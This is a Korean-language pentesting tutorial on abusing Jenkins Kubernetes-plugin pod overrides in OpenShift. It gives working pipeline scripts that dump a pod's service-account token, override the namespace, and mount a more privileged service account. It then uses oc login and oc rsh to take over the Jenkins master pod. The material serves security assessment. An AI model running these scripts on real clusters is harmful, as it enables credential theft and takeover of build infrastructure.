Jenkins in Openshift - build pod overrides
Reading time: 3 minutes
이 페이지의 원래 저자는 Fares
Kubernetes plugin for Jenkins
이 플러그인은 openshift/kubernetes 클러스터 내에서 Jenkins 핵심 기능을 주로 담당합니다. 공식 문서 여기 개발자가 Jenkins 빌드 포드의 일부 기본 구성을 재정의할 수 있는 기능과 같은 몇 가지 기능을 제공합니다.
Core functionnality
이 플러그인은 개발자가 적절한 환경에서 코드를 빌드할 때 유연성을 제공합니다.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
Some abuses leveraging pod yaml override
그러나 이를 악용하여 Kali Linux와 같은 접근 가능한 이미지를 사용하고 해당 이미지에 사전 설치된 도구를 사용하여 임의의 명령을 실행할 수 있습니다.
아래 예제에서는 실행 중인 pod의 serviceaccount 토큰을 유출할 수 있습니다.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
다른 구문으로 동일한 목표를 달성합니다.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
포드의 네임스페이스를 재정의하는 샘플
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
서비스 계정을 이름에 따라 마운트하려고 시도하는 또 다른 예입니다(기본 계정보다 더 많은 권한을 가질 수 있음). 먼저 기존 서비스 계정을 추측하거나 열거해야 할 수도 있습니다.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
같은 기술이 Secret을 마운트하려고 시도하는 데 적용됩니다. 여기서 최종 목표는 pod 빌드를 효과적으로 피벗하거나 권한을 얻는 방법을 구성하는 것입니다.
더 나아가기
이것을 가지고 놀아보는 데 익숙해지면, Jenkins와 Kubernetes/Openshift에 대한 지식을 사용하여 잘못된 구성/남용을 찾아보세요.
다음 질문을 스스로에게 해보세요:
- 어떤 서비스 계정이 빌드 pod를 배포하는 데 사용되고 있나요?
- 어떤 역할과 권한이 있나요? 현재 있는 네임스페이스의 비밀을 읽을 수 있나요?
- 다른 빌드 pod를 더 열거할 수 있나요?
- 손상된 sa에서 마스터 노드/pod에서 명령을 실행할 수 있나요?
- 클러스터를 더 열거하여 다른 곳으로 피벗할 수 있나요?
- 어떤 SCC가 적용되었나요?
어떤 oc/kubectl 명령을 발행해야 하는지 여기와 여기에서 확인할 수 있습니다.
가능한 privesc/pivoting 시나리오
평가 중에 모든 jenkins 빌드가 _worker-ns_라는 네임스페이스 내에서 실행된다는 것을 발견했다고 가정해 보겠습니다. 빌드 pod에 _default-sa_라는 기본 서비스 계정이 마운트되어 있지만, 일부 리소스에 대한 읽기 권한 외에는 많은 권한이 없다는 것을 알게 되었습니다. 그러나 _master-sa_라는 기존 서비스 계정을 식별할 수 있었습니다. 또한 실행 중인 빌드 컨테이너 내에 oc 명령이 설치되어 있다고 가정해 보겠습니다.
아래 빌드 스크립트를 사용하여 master-sa 서비스 계정을 제어하고 더 열거할 수 있습니다.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
액세스에 따라 빌드 스크립트에서 공격을 계속해야 하거나 실행 중인 클러스터에서 이 sa로 직접 로그인할 수 있습니다:
oc login --token=$token --server=https://apiserver.com:port
이 sa가 충분한 권한(예: pod/exec)을 가지고 있다면, 같은 네임스페이스 내에서 실행 중인 마스터 노드 pod 내에서 명령을 실행하여 전체 jenkins 인스턴스를 제어할 수 있습니다. 이 pod는 이름과 jenkins 데이터를 저장하는 데 사용되는 PVC(지속 볼륨 클레임)를 마운트해야 한다는 사실을 통해 쉽게 식별할 수 있습니다.
oc rsh pod_name -c container_name
마스터 노드 포드가 워커와 동일한 네임스페이스 내에서 실행되지 않는 경우, 마스터 네임스페이스를 대상으로 유사한 공격을 시도할 수 있습니다. 이를 _jenkins-master_라고 가정해 보겠습니다. 서비스 계정 master-sa가 jenkins-master 네임스페이스에 존재해야 한다는 점을 기억하세요 (그리고 worker-ns 네임스페이스에는 존재하지 않을 수 있습니다).